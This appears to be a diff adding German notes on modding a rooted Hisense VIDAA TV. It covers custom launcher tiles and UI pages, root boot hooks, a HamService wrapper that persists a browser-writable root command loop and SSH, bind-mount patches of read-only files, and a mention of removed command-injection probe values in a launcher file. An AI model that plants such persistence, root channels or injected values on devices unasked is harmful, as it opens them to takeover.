- Launcher: `/3rd_rw/appdata/launcher/{preset.txt,Appinfo.json,deletedPresetApp.txt,data/*,res/*,cache/*}`; `/3rd_rw/launcher/data/templateConfig.xml`; `/3rd_rw/VIDAAU2Launcher/html/*`.
|
||||||
|
- AM: `/basic/am_config`, `/basic/am_start.ini`, `app_man`-Strings (`:am,…`).
|
||||||
|
- LauncherService: `/3rd/launcherservice/bin/LauncherService`-Strings.
|
||||||
|
- Browser: `/3rd_rw/opera4x/opera_home_browser/opera.json`, `browser.db`; `run-Browser.sh`; `enable_developer_tools`.
|
||||||
|
- Settings: `/3rd_rw/user_db.db` (DEU, Brand his, Region 7).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Unknowns
|
||||||
|
|
||||||
|
- Aktive UI-Template-/Skin-Auswahl (`UI/templates` vs. `launcher`/`VIDAAU2Launcher`); `VIDAAU2Launcher` auf diesem Modell aktiv? `UNVERIFIED`.
|
||||||
|
- Exakte `Hisense_*`-Signaturen/Semantik (UI-APIs) und `guijs`/`TVAPI`/`model`-Interna.
|
||||||
|
- `LauncherService`-Datenquelle/Update (Store/Foxxum/FCGI) und ob `preset.txt` bei jedem Start aus `Category*.xml` neu geschrieben wird.
|
||||||
|
- `app_man`/AM-Interna, `coexist_set`/`backgm`/`keymap`, exakte `:am`-Semantik je App.
|
||||||
|
- Ob die UI die `launcher`-HTML/JS überhaupt lädt (Alt-Skin) oder nur die Daten (`launcher/data`); die aktive Seite ist `/3rd_rw/UI`.
|
||||||
|
- Ob eigene `UI/index.html`-Pages die `TVAPI`/`model`-Globals brauchen oder ob `Hisense_*`/`guijs` direkt nutzbar sind (im UI-DevTools testen).
|
||||||
|
- Bloat-/Deaktivierungsfolgen (siehe `05`): `ms_service`, `swrc`, `runlog`, `Seriallog`, `HamService`, `securetime`, `netflix`, `browser_base`, `app_man`, `dtv_svc`.
|
||||||
@@ -0,0 +1,456 @@
|
|||||||
|
# 04 — Modding: Rezepte für eigene UI, Apps, Services, Bloat
|
||||||
|
|
||||||
|
**Voraussetzung:** Root + SSH (siehe `../root/ROOT-GUIDE.md`).
|
||||||
|
**Spielregel:** Eine Änderung, dann testen, dann die nächste. Backup vorher. SSH/Root-Loop als Rettungsweg behalten. Kein Flash/`.pkg`.
|
||||||
|
|
||||||
|
Die Rezepte sind nach Risiko sortiert:
|
||||||
|
|
||||||
|
| Route | Ziel | Risiko | Reversibel |
|
||||||
|
|---|---|---|---|
|
||||||
|
| **A** | Eigene App-Tile (Web-App im Browser) | niedrig | ja (Datei-Backup) |
|
||||||
|
| **B** | Eigene UI-Seite (`/3rd_rw/UI/index.html`) | mittel | ja (Backup + UI-Restart) |
|
||||||
|
| **C** | Launcher-Daten/Skin (Tiles, Kategorien, Icons) | niedrig–mittel | ja (Backup) |
|
||||||
|
| **D** | Eigener Service/eigene Funktion (root) | mittel | ja (Skripte/Wrapper) |
|
||||||
|
| **E** | Ro-Dateien per Bind-Mount/Overlay patchen | mittel–hoch | ja (Unmount/Reboot) |
|
||||||
|
| **F** | Statische Tools/SSH/Deploy | niedrig | ja |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Route A — Eigene App-Tile (der sichere Einstieg)
|
||||||
|
|
||||||
|
**Ziel:** Ein eigener Eintrag im Launcher, der eine lokale oder HTTP-Seite im **Web-Browser** öffnet (nicht die UI ersetzt).
|
||||||
|
|
||||||
|
### A.1 Seite bauen
|
||||||
|
|
||||||
|
Lokal auf dem TV (rw):
|
||||||
|
|
||||||
|
```
|
||||||
|
/3rd_rw/appdata/custom/index.html
|
||||||
|
/3rd_rw/appdata/custom/app.js
|
||||||
|
/3rd_rw/appdata/custom/icon.png
|
||||||
|
```
|
||||||
|
|
||||||
|
Beispiel `index.html`:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<!doctype html>
|
||||||
|
<html><head><meta charset="utf-8"><title>MyApp</title>
|
||||||
|
<style>body{background:#111;color:#eee;font-family:sans-serif;margin:0;padding:2em}</style>
|
||||||
|
</head><body>
|
||||||
|
<h1>MyApp</h1>
|
||||||
|
<p>Läuft im hisense_browser (root, --allow-file-access-from-files).</p>
|
||||||
|
<button onclick="hi()">HiBrowser test</button>
|
||||||
|
<pre id="out"></pre>
|
||||||
|
<script>
|
||||||
|
function hi(){
|
||||||
|
var o={};
|
||||||
|
try{o.hb=(typeof HiBrowser);}catch(e){o.hb=String(e);}
|
||||||
|
try{o.file=(typeof HiBrowser!=='undefined')?String(HiBrowser.File.download("file:///3rd_rw/root_proof.txt","myapp_proof.txt",1)):"no";}catch(e){o.file=String(e);}
|
||||||
|
document.getElementById('out').textContent=JSON.stringify(o,null,2);
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</body></html>
|
||||||
|
```
|
||||||
|
|
||||||
|
- HTTP-Variante: Seite auf dem Host (`http://<host>:9000/...`) servieren; der TV-Browser lädt sie.
|
||||||
|
- Lokal-Variante: `file:///3rd_rw/appdata/custom/index.html`; der Browser hat `--allow-file-access-from-files`.
|
||||||
|
- Die Seite kann `HiBrowser` (`File`, `System`, `loadLibrary`, `Cache`, `JsonWrite`) und `Hisense_*` nutzen. Root-Kontext.
|
||||||
|
|
||||||
|
### A.2 `Appinfo.json` ergänzen
|
||||||
|
|
||||||
|
Datei: `/3rd_rw/appdata/launcher/Appinfo.json` (rw). **Backup:**
|
||||||
|
|
||||||
|
```sh
|
||||||
|
cp /3rd_rw/appdata/launcher/Appinfo.json /3rd_rw/backup/Appinfo.json.$(date +%s)
|
||||||
|
```
|
||||||
|
|
||||||
|
Eintrag ergänzen (bestehende `AppInfo`-Einträge behalten!):
|
||||||
|
|
||||||
|
```json
|
||||||
|
{"AppInfo":[
|
||||||
|
{"AppId":"MyApp",
|
||||||
|
"Thumb":"file:///3rd_rw/appdata/custom/icon.png",
|
||||||
|
"Icon_96":"file:///3rd_rw/appdata/custom/icon.png",
|
||||||
|
"Image":"file:///3rd_rw/appdata/custom/icon.png",
|
||||||
|
"URL":"file:///3rd_rw/appdata/custom/index.html",
|
||||||
|
"AppName":"MyApp",
|
||||||
|
"Title":"MyApp",
|
||||||
|
"IconURL":"file:///3rd_rw/appdata/custom/icon.png",
|
||||||
|
"StartCommand":"file:///3rd_rw/appdata/custom/index.html",
|
||||||
|
"InstallTime":"2026-10-26",
|
||||||
|
"RunTimes":0,
|
||||||
|
"StoreType":"foxxum",
|
||||||
|
"PreInstall":false}
|
||||||
|
]}
|
||||||
|
```
|
||||||
|
|
||||||
|
- `StartCommand`/`URL` = HTTP oder `file://`.
|
||||||
|
- `Image`/`IconURL`/`Thumb`/`Icon_96` = Icon; HTTP/`file://`; Fallback `useDefaultImg`.
|
||||||
|
- `StoreType` als String (`"foxxum"`; die UI mappt über `storeTypeList`).
|
||||||
|
- `PreInstall:false` (User-App); `canRemove=true`.
|
||||||
|
|
||||||
|
**Per TV-Seite/JS** (ohne SSH):
|
||||||
|
|
||||||
|
```js
|
||||||
|
// Backup lesen (optional)
|
||||||
|
var old = fileXHR("file:///3rd_rw/appdata/launcher/Appinfo.json");
|
||||||
|
// Neuen Inhalt schreiben
|
||||||
|
HiBrowser.File.write("launcher/Appinfo.json", newJsonString, 1);
|
||||||
|
```
|
||||||
|
|
||||||
|
`File.write` schreibt Text; das JSON ist Text. (Für Binär-Icons: `File.download` von HTTP/`file://`.)
|
||||||
|
|
||||||
|
### A.3 Launcher/UI neu laden
|
||||||
|
|
||||||
|
- UI neu starten (siehe `03`, Abschnitt 8): `kill <hisenseUI-PID>`; `nohup /3rd/opera4x/hisenseUI/start-UI.sh &`.
|
||||||
|
- Oder TV rebooten.
|
||||||
|
- Im Launcher/„Alle Apps“ erscheint die Tile; Launch öffnet den **Web-Browser** mit der URL (nicht die UI-Seite).
|
||||||
|
|
||||||
|
### A.4 Test / Rollback
|
||||||
|
|
||||||
|
- Test: Tile öffnen; `HiBrowser`-Testbutton; `file://`-Seite; HTTP-Seite.
|
||||||
|
- Rollback: `Appinfo.json`-Backup zurückkopieren; UI neu starten. Oder Eintrag entfernen.
|
||||||
|
- **Nicht** `preset.txt` für User-Apps missbrauchen; der `preset`-Cache kann überschrieben werden. `Appinfo.json` ist der richtige Ort.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Route B — Eigene UI-Seite (`/3rd_rw/UI/index.html`)
|
||||||
|
|
||||||
|
**Ziel:** Die TV-UI (PIXI/`hisenseUI`) durch eine eigene Seite ersetzen. **Höchstes Risiko** (schwarzer Bildschirm), aber machbar.
|
||||||
|
|
||||||
|
### B.1 Backup
|
||||||
|
|
||||||
|
```sh
|
||||||
|
mkdir -p /3rd_rw/backup
|
||||||
|
cp -a /3rd_rw/UI /3rd_rw/backup/UI.$(date +%Y%m%d-%H%M%S)
|
||||||
|
```
|
||||||
|
|
||||||
|
### B.2 Minimale Custom-UI bauen
|
||||||
|
|
||||||
|
Datei: `/3rd_rw/UI/custom.html` (neu; `index.html` bleibt vorerst unangetastet).
|
||||||
|
Vorlage: `templates/custom-ui.html`.
|
||||||
|
|
||||||
|
```html
|
||||||
|
<!doctype html>
|
||||||
|
<html><head><meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=1280,height=720">
|
||||||
|
<title>My TV</title>
|
||||||
|
<style>
|
||||||
|
html,body{margin:0;width:100%;height:100%;background:#0b0b0b;color:#eee;font-family:sans-serif;overflow:hidden}
|
||||||
|
.wrap{padding:2vw}.row{display:flex;gap:1vw;flex-wrap:wrap}
|
||||||
|
button{font-size:1.4vw;padding:1vw 1.6vw;border-radius:.6vw;border:1px solid #555;background:#1c1c1c;color:#eee}
|
||||||
|
pre{font-size:1vw;color:#9f9}
|
||||||
|
</style></head>
|
||||||
|
<body><div class="wrap">
|
||||||
|
<h1>My TV</h1>
|
||||||
|
<div class="row">
|
||||||
|
<button onclick="launch('netflix')">Netflix</button>
|
||||||
|
<button onclick="launch('youtube')">YouTube</button>
|
||||||
|
<button onclick="launch('opera4x')">TV Browser</button>
|
||||||
|
<button onclick="launch('dtv_app_mtk')">TV</button>
|
||||||
|
<button onclick="probe()">APIs</button>
|
||||||
|
</div>
|
||||||
|
<pre id="out"></pre>
|
||||||
|
<script>
|
||||||
|
function launch(id){
|
||||||
|
var o={};
|
||||||
|
try{
|
||||||
|
if (typeof Hisense_StartApp === 'function') { Hisense_StartApp(':am,'+id+',:start='+id); o.via='Hisense_StartApp'; }
|
||||||
|
else if (typeof HiBrowser !== 'undefined' && HiBrowser.System) { HiBrowser.System.startApp(':am,'+id+',:start='+id); o.via='HiBrowser'; }
|
||||||
|
else if (typeof TVAPI !== 'undefined' && TVAPI.StartApp) { TVAPI.StartApp(id); o.via='TVAPI'; }
|
||||||
|
else if (typeof guijs !== 'undefined' && guijs.StartApp) { guijs.StartApp(id); o.via='guijs'; }
|
||||||
|
else o.via='none';
|
||||||
|
}catch(e){o.err=String(e);}
|
||||||
|
document.getElementById('out').textContent=JSON.stringify(o,null,2);
|
||||||
|
}
|
||||||
|
function probe(){
|
||||||
|
var o={Hisense_StartApp:typeof Hisense_StartApp,HiBrowser:typeof HiBrowser,TVAPI:typeof TVAPI,guijs:typeof guijs,model:typeof model,UI:typeof UI};
|
||||||
|
document.getElementById('out').textContent=JSON.stringify(o,null,2);
|
||||||
|
}
|
||||||
|
</script></div></body></html>
|
||||||
|
```
|
||||||
|
|
||||||
|
- **API-Verfügbarkeit ist `UNVERIFIED`**: Im UI-DevTools (9223) prüfen, welche Globals existieren und welche Signatur `Hisense_StartApp`/`TVAPI.StartApp`/`guijs.StartApp` hat. Der Web-Browser hat `HiBrowser.System.startApp(":am,…")` (belegt); die UI kann andere Wrapper haben.
|
||||||
|
- Größe: UI nutzt 1280×720 CSS (PIXI-Canvas); der Screen ist 1920×1080 (`OPERA_EGL_SCREEN_SIZE`). `100vw/100vh`/`meta viewport` nutzen.
|
||||||
|
|
||||||
|
### B.3 Testen, ohne die UI zu ersetzen
|
||||||
|
|
||||||
|
1. `custom.html` per Web-Browser öffnen: `http://<host>:9000/...` oder `file:///3rd_rw/UI/custom.html` im **`hisense_browser`** (TV-Browser). Dort `HiBrowser`/`Hisense_*` testen (die UI-spezifischen APIs fehlen evtl.).
|
||||||
|
2. UI DevTools 9223: `window.location = "file:///3rd_rw/UI/custom.html"` **nur** in einem Test-Tab? Die UI hat ein Fenster; ein Navigieren ersetzt die UI. Besser: Custom-Seite in einem **neuen** `hisenseUI`-Prozess starten (siehe B.5) oder per Web-Browser testen.
|
||||||
|
3. Wenn die Custom-Seite im Web-Browser gut aussieht, UI übernehmen.
|
||||||
|
|
||||||
|
### B.4 `index.html` ersetzen
|
||||||
|
|
||||||
|
**Variante 1: Datei ersetzen** (einfach, reversibel per Backup):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
cp /3rd_rw/UI/index.html /3rd_rw/backup/index.orig.html
|
||||||
|
cp /3rd_rw/UI/custom.html /3rd_rw/UI/index.html
|
||||||
|
# UI neu starten
|
||||||
|
kill $(pidof hisenseUI)
|
||||||
|
nohup /3rd/opera4x/hisenseUI/start-UI.sh >/tmp/hisenseUI.log 2>&1 &
|
||||||
|
```
|
||||||
|
|
||||||
|
**Variante 2: `start-UI.sh` per Bind-Mount auf `custom.html` zeigen** (lässt `index.html` unangetastet):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# /3rd_rw/patch/start-UI-custom.sh (siehe templates/start-UI-custom.sh)
|
||||||
|
mount --bind /3rd_rw/patch/start-UI-custom.sh /3rd/opera4x/hisenseUI/start-UI.sh
|
||||||
|
# UI neu starten
|
||||||
|
```
|
||||||
|
|
||||||
|
Das ist ein **Datei-Bind-Mount**; kein full overlay. `start-UI-custom.sh` startet `hisenseUI` mit `-u file:///3rd_rw/UI/custom.html` und den gleichen Flags wie das Original.
|
||||||
|
|
||||||
|
**Variante 3: Vendor-Overlay `/3rd_rw/patch/opera4x`** (full dir bind):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
mkdir -p /3rd_rw/patch/opera4x
|
||||||
|
cp -a /3rd/opera4x/. /3rd_rw/patch/opera4x/ # vollständige Kopie!
|
||||||
|
# eigene Dateien überschreiben, z. B. hisenseUI/start-UI.sh
|
||||||
|
reboot
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Nur mit vollständiger Kopie/Symlink-Baum.** Der `mount -o bind` ersetzt `/3rd/opera4x` komplett. Fehlende Dateien = Browser/UI kaputt.
|
||||||
|
- Vorteil: überlebt Reboots (autorun bindet vor UI-Start). Nachteil: groß/fehleranfällig.
|
||||||
|
|
||||||
|
### B.5 UI-Restart / Rettung
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# UI-Prozess
|
||||||
|
ps | grep hisenseUI | grep -v grep
|
||||||
|
kill <PID>
|
||||||
|
nohup /3rd/opera4x/hisenseUI/start-UI.sh >/tmp/hisenseUI.log 2>&1 &
|
||||||
|
|
||||||
|
# Rettung bei schwarzem Bildschirm:
|
||||||
|
cp /3rd_rw/backup/index.orig.html /3rd_rw/UI/index.html
|
||||||
|
kill $(pidof hisenseUI)
|
||||||
|
nohup /3rd/opera4x/hisenseUI/start-UI.sh >/tmp/hisenseUI.log 2>&1 &
|
||||||
|
```
|
||||||
|
|
||||||
|
- **SSH/Root-Loop** funktionieren unabhängig von der UI. Der Web-Browser (`hisense_browser`/Recon) kann ebenfalls weiterlaufen.
|
||||||
|
- `hisenseUI`-Log: `/tmp/hisenseUI.log`; UI-DevTools 9223 (falls die Seite lädt).
|
||||||
|
- **Kein Flash**: `index.html`/`custom.html` liegen in `/3rd_rw`; Backup/Rollback per Datei.
|
||||||
|
|
||||||
|
### B.6 Was die UI-Seite kann
|
||||||
|
|
||||||
|
- **Vollbild-HTML/CSS/JS** im Chromium/Opera-UI-Browser.
|
||||||
|
- **`Hisense_*`/`TVAPI`/`guijs`/`model`** (UI-Kontext; Signaturen im DevTools prüfen).
|
||||||
|
- **`file://`**-Zugriff (`--disable-web-security`, `--allow-file-access-from-files`? Das UI hat `--disable-web-security`; lokale Files ja).
|
||||||
|
- **Video/Canvas/WebGL**; die UI nutzt GLES/Mali.
|
||||||
|
- **Kein** direkter Shell-Zugriff aus JS; der Root-Loop/SSH ist der Weg für native Aktionen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Route C — Launcher-Daten/Skin (Tiles, Kategorien, Icons)
|
||||||
|
|
||||||
|
**Ziel:** Apps hinzufügen/ausblenden, Kategorien/Icons ändern, ohne die UI-Seite zu ersetzen.
|
||||||
|
|
||||||
|
### C.1 Tiles ausblenden (einfach, persistent)
|
||||||
|
|
||||||
|
Datei: `/3rd_rw/appdata/launcher/deletedPresetApp.txt` (JSON-Array).
|
||||||
|
Beispiel: `templates/hide-preset.json`; die Preinstalled-Liste in `05-bloat.md`.
|
||||||
|
|
||||||
|
```json
|
||||||
|
[
|
||||||
|
"netflix",
|
||||||
|
"amazon",
|
||||||
|
"youtube",
|
||||||
|
"https://cd-dmgz.bamgrid.com/bbd/hisense_tv/index.html",
|
||||||
|
"http://8577004de253-ott-tv.maxdome.de",
|
||||||
|
"https://prod-hisense-ui40-app.rakuten.tv/",
|
||||||
|
"https://tvapp.rlaxxtv.com/r/no-animations/720/?customer=Hisense"
|
||||||
|
]
|
||||||
|
```
|
||||||
|
|
||||||
|
- Der Launcher/`ldi.js` filtert die Kacheln; die `preset.txt` ist nur Cache.
|
||||||
|
- **Stand 2026-10-26:** Die alten Probe-URLs (data:, javascript:, 127.0.0.1;cd…) wurden beim Cleanup entfernt; die Datei ist jetzt `[]`. Zum Ausblenden die gewünschten Hide-Einträge setzen.
|
||||||
|
- **Backup:** `cp deletedPresetApp.txt /3rd_rw/backup/...`.
|
||||||
|
- **Wirkung:** UI/Launcher neu starten (oder reboot).
|
||||||
|
|
||||||
|
### C.2 Tiles hinzufügen
|
||||||
|
|
||||||
|
- **User-App:** `Appinfo.json` (Route A).
|
||||||
|
- **Preset:** `preset.txt` ergänzen (`AppName`, `IconURL`, `URL`, `StartCommand`, `UrlType` 37, `StoreType` 0, `PreInstall:true`). **Aber:** `preset.txt` ist ein Cache; die UI/`allAppsWriteToFileForUse` kann sie überschreiben. Für dauerhaft: `Appinfo.json` (User-App) oder die `Category*.xml`-Quelle.
|
||||||
|
- **Kategorie-XML:** `/3rd_rw/appdata/launcher/data/Category_1001_*.xml`/`Category_57_*.xml`/`CategoryIndex.xml`/`CategoryList_*.xml` — die App-Tiles. Backup; XML-Struktur beibehalten; `preset`/Cache danach neu erzeugen lassen (UI-Restart).
|
||||||
|
- **`serviceUpdate.xml`:** Land/Timestamp; wenn es nicht zu `DEU` passt, nutzt `ldi.js` `UI/data/`-Default. Für eigene Daten ggf. `UI/data/` bearbeiten (Fallback) oder `serviceUpdate`/`Category` in `launcher/data` konsistent halten.
|
||||||
|
|
||||||
|
### C.3 Icons / Skin
|
||||||
|
|
||||||
|
- Icons: `res/*.png`; `cache/index.json`; `Image`/`IconURL`/`Thumb`/`Icon_96`; `useDefaultImg` als Fallback.
|
||||||
|
- Skin/Assets: `/3rd_rw/UI/assets`, `/3rd_rw/UI/templates`, `/3rd_rw/UI/module`, `/3rd_rw/launcher/{css,img,html,js}`, `/3rd_rw/VIDAAU2Launcher/*` (Alt/Alternativ).
|
||||||
|
- **Aktiv:** `/3rd_rw/UI` (PIXI) + `/3rd_rw/appdata/launcher` (Daten). Die `launcher`/`VIDAAU2Launcher`-HTML/JS sind Alt-/Alternativ-Skins; Änderungen dort nur testen, wenn die UI sie lädt (`UNVERIFIED`).
|
||||||
|
|
||||||
|
### C.4 Test / Rollback
|
||||||
|
|
||||||
|
- Backup der `Appinfo`/`preset`/`deleted`/`Category*`/`res`.
|
||||||
|
- UI neu starten; Tiles prüfen; bei Problemen Backup zurück, UI neu starten/reboot.
|
||||||
|
- Die `deletedPresetApp.txt` ist der sicherste Hide-Hebel (kein XML-Eingriff).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Route D — Eigener Service / eigene Funktion (root)
|
||||||
|
|
||||||
|
**Ziel:** Ein eigener Prozess/Skript läuft als root beim Boot oder auf Kommando; native Aktionen, die JS nicht kann.
|
||||||
|
|
||||||
|
### D.1 Früher Hook: `/3rd_rw/developer.sh`
|
||||||
|
|
||||||
|
Wird von `/basic/autorun.sh` Zeile 90 als root ausgeführt — **vor** `ms_service`/`hisenseUI`/`app_man`/`delayrun`.
|
||||||
|
|
||||||
|
Vorlage: `templates/developer.sh`.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
#!/bin/sh
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
exec >>/3rd_rw/developer.log 2>&1
|
||||||
|
echo "developer.sh $(date) boot=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null)"
|
||||||
|
|
||||||
|
# Beispiel 1: eigenen Dienst starten
|
||||||
|
# /3rd_rw/bin/mydaemon &
|
||||||
|
|
||||||
|
# Beispiel 2: ro-Datei per Bind-Mount ersetzen (vor app_man)
|
||||||
|
# mount --bind /3rd_rw/etc/am_start.ini /basic/am_start.ini
|
||||||
|
# mount --bind /3rd_rw/etc/am_config /basic/am_config
|
||||||
|
|
||||||
|
# Beispiel 3: unerwünschten Dienst stubben (vor autorun-Zeile 162)
|
||||||
|
# mkdir -p /3rd_rw/stubs
|
||||||
|
# printf '#!/bin/sh\nexit 0\n' > /3rd_rw/stubs/true
|
||||||
|
# chmod 755 /3rd_rw/stubs/true
|
||||||
|
# mount --bind /3rd_rw/stubs/true /3rd/ms-screen/ms_service
|
||||||
|
|
||||||
|
# Beispiel 4: custom UI starten (vor autorun-Zeile 168)
|
||||||
|
# mount --bind /3rd_rw/patch/start-UI-custom.sh /3rd/opera4x/hisenseUI/start-UI.sh
|
||||||
|
|
||||||
|
# Beispiel 5: Root-Loop/SSH früher starten (statt HamService-Wrapper)
|
||||||
|
# /bin/sh /3rd_rw/appdata/root_loop.sh &
|
||||||
|
# /bin/sh /3rd_rw/sshd/start_sshd.sh &
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Reihenfolge:** `developer.sh` (90) → `ms_service` (162) → `hisenseUI` (168) → `app_man` (177) → `delayrun` (190).
|
||||||
|
- **Bind-Mounts** von ro-Dateien in `developer.sh` wirken für die späteren Zeilen.
|
||||||
|
- **Log:** `/3rd_rw/developer.log`; `set -x` optional.
|
||||||
|
- **Fallback:** SSH/Root-Loop; wenn `developer.sh` die UI/AM blockiert, per SSH korrigieren/entfernen, reboot.
|
||||||
|
|
||||||
|
### D.2 Später Hook: `HamService`-Wrapper (aktuell für SSH/Root-Loop)
|
||||||
|
|
||||||
|
`/3rd_rw/hamservice/HamService` (Wrapper; `startHam.sh` ruft ihn nach `delayrun` + 15 s):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
#!/bin/sh
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 &
|
||||||
|
[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 &
|
||||||
|
exec /3rd/hamservice/HamService "$@"
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Aktuelle Persistenz:** Root-Loop + Dropbear. Das echte `HamService` läuft weiter.
|
||||||
|
- **ACR abschalten:** `exec /3rd/hamservice/HamService "$@"` durch `exit 0` ersetzen (Root-Loop/SSH bleiben); oder ACR im HamService-Config deaktivieren (UNVERIFIED).
|
||||||
|
- **Eigene späte Services:** vor dem `exec` starten (z. B. `/3rd_rw/bin/mydaemon &`).
|
||||||
|
- **Rollback:** `rm /3rd_rw/hamservice/HamService; ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService`.
|
||||||
|
|
||||||
|
### D.3 Kommando-Kanal (root_loop)
|
||||||
|
|
||||||
|
- `/3rd_rw/appdata/root_loop.sh` liest `root_cmd.sh`, schreibt `root_out.txt`.
|
||||||
|
- Auf dem TV: `HiBrowser.File.write("root_cmd.sh", "…\n", 1)`; `fileXHR("file:///3rd_rw/appdata/root_out.txt")`.
|
||||||
|
- Host-Snippet: `../root/scripts/host/run_root_cmd.js`.
|
||||||
|
- **Root-equivalent:** nur vertrauenswürdige Schreiber (Browser root) zulassen.
|
||||||
|
|
||||||
|
### D.4 Native App/Funktion über AM (`:am`)
|
||||||
|
|
||||||
|
- `HiBrowser.System.startApp(":am,<app>,:start=<val>")` im Web-Browser (belegt).
|
||||||
|
- `:am,<app>,:URL=<url>` (aus `app_man`-Strings); `:stop`, `:backgm`, `:foregm`, `:pause`, `:resume`, `:shutdown`, `:suspend`, `:wakeup`.
|
||||||
|
- **Neue native App** braucht einen `am_config`-Eintrag (`exec`/`args`) — ro; per `developer.sh`-Bind-Mount einer modifizierten `am_config` (vor `app_man`). Oder ein eigener Service über `developer.sh`/`HamService` (kein AM nötig).
|
||||||
|
- **`Hisense_StartApp`** in der UI: Signatur/Verhalten im UI-DevTools prüfen (`UNVERIFIED`).
|
||||||
|
|
||||||
|
### D.5 Native UI (DirectFB/GLES) — optional
|
||||||
|
|
||||||
|
- `libdirectfb.so`/`/basic/lib`, Mali/GLES; die UI nutzt GLES, der Web-Browser DirectFB.
|
||||||
|
- Ein eigener nativer UI-Prozess ist möglich, aber aufwendig; die Web-UI-Route (B) ist der pragmatische Weg.
|
||||||
|
- `dtv_svc`/`libdtv`/`app_man` für TV-Funktionen; `libhspdk-jsx`/`HiBrowser` für die JS-Brücke.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Route E — Ro-Dateien patchen (Bind-Mount/Overlay)
|
||||||
|
|
||||||
|
**Ziel:** `/basic/am_config`, `am_start.ini`, `delayrun.sh`, `ms_service`, `start-UI.sh`, `/3rd/...`-Dateien ersetzen, ohne den ro Rootfs/`/3rd` zu flashen.
|
||||||
|
|
||||||
|
### E.1 Datei-Bind-Mount (empfohlen)
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# Kopie + Änderung in /3rd_rw
|
||||||
|
cp /basic/am_start.ini /3rd_rw/etc/am_start.ini
|
||||||
|
vi /3rd_rw/etc/am_start.ini # oder per File.write
|
||||||
|
# in developer.sh (vor app_man):
|
||||||
|
mount --bind /3rd_rw/etc/am_start.ini /basic/am_start.ini
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Wirkt nur, wenn der Mount vor dem Lesen/Ausführen passiert:** `developer.sh` (Zeile 90) ist vor `ms_service`/UI/`app_man`/`delayrun`.
|
||||||
|
- **Reboot-fest:** `developer.sh` führt den Mount bei jedem Boot aus.
|
||||||
|
- **Rollback:** `umount /basic/am_start.ini` (oder reboot); Original bleibt unangetastet.
|
||||||
|
- **Für `ms_service`/`start-UI.sh`/`app_man`:** Stub-Skript (`#!/bin/sh\nexit 0`) per `mount --bind` über die Binärdatei; der `-x`-Check läuft danach ins Leere.
|
||||||
|
- **Achtung:** `mount --bind` auf eine Datei benötigt das Ziel; die ro-Datei existiert. Kein Overlay nötig.
|
||||||
|
|
||||||
|
### E.2 `patch/opera4x` (full overlay)
|
||||||
|
|
||||||
|
- `autorun.sh` bindet `/3rd_rw/patch/opera4x` **als Ganzes** über `/3rd/opera4x`.
|
||||||
|
- Nur mit vollständiger Kopie (`cp -a /3rd/opera4x/. /3rd_rw/patch/opera4x/`) oder Symlink-Baum; sonst fehlen Browser/UI-Dateien.
|
||||||
|
- Für einzelne Dateien: E.1 (Datei-Bind) statt full overlay.
|
||||||
|
- **Rollback:** `rm -rf /3rd_rw/patch/opera4x` + reboot.
|
||||||
|
|
||||||
|
### E.3 `am_config`/`am_start.ini` (Bloat)
|
||||||
|
|
||||||
|
- Kopie nach `/3rd_rw/etc/`, Sektionen entfernen/ändern, per `developer.sh` binden.
|
||||||
|
- **Vor** `app_man` (Zeile 177); `developer.sh` (90).
|
||||||
|
- **Risiko:** `dtv_app_mtk`/`app_man` nicht entfernen (TV/Apps). `netflix`/`dialserver`/`samba`/`browser_base`/`securetime` optional (siehe `05`).
|
||||||
|
|
||||||
|
### E.4 `delayrun.sh`
|
||||||
|
|
||||||
|
- Kopie nach `/3rd_rw/etc/delayrun.sh`; unerwünschte Zeilen entfernen; per `developer.sh` über `/basic/delayrun.sh` binden.
|
||||||
|
- **Vor** `autorun` Zeile 190; `developer.sh` (90).
|
||||||
|
- **Risiko:** `LauncherService` (UI-Daten) und `HamService` (unsere Persistenz) behalten; `swrc`/`runlog`/`Seriallog` optional.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Route F — Statische Tools / Deploy / SSH
|
||||||
|
|
||||||
|
- **Kein Package Manager** (siehe `06`): statische ARM-Binaries bauen, nach `/3rd_rw/bin` legen, chmod +x.
|
||||||
|
- **Deploy:** `File.download` (HTTP → appdata), SSH (`ssh root@… 'cat > /3rd_rw/bin/x' < x` / `base64`), USB-Symlink, `tar`.
|
||||||
|
- **`scp`/`sftp`:** Dropbear allein hat keinen sftp-server. Der finale Ordner
|
||||||
|
enthält einen statischen OpenSSH-9.9p1-sftp-server + gepatchten Dropbear;
|
||||||
|
Installation: `../root/scripts/host/install_sftp.sh` (testet Port 2222, dann
|
||||||
|
Tausch auf 22). Danach:
|
||||||
|
```bash
|
||||||
|
sftp root@192.168.188.94
|
||||||
|
# put -r /lokaler/UI-Ordner /3rd_rw/
|
||||||
|
# get /3rd_rw/UI/index.html
|
||||||
|
```
|
||||||
|
Modernes `scp` (OpenSSH 9+) nutzt ebenfalls SFTP und funktioniert dann.
|
||||||
|
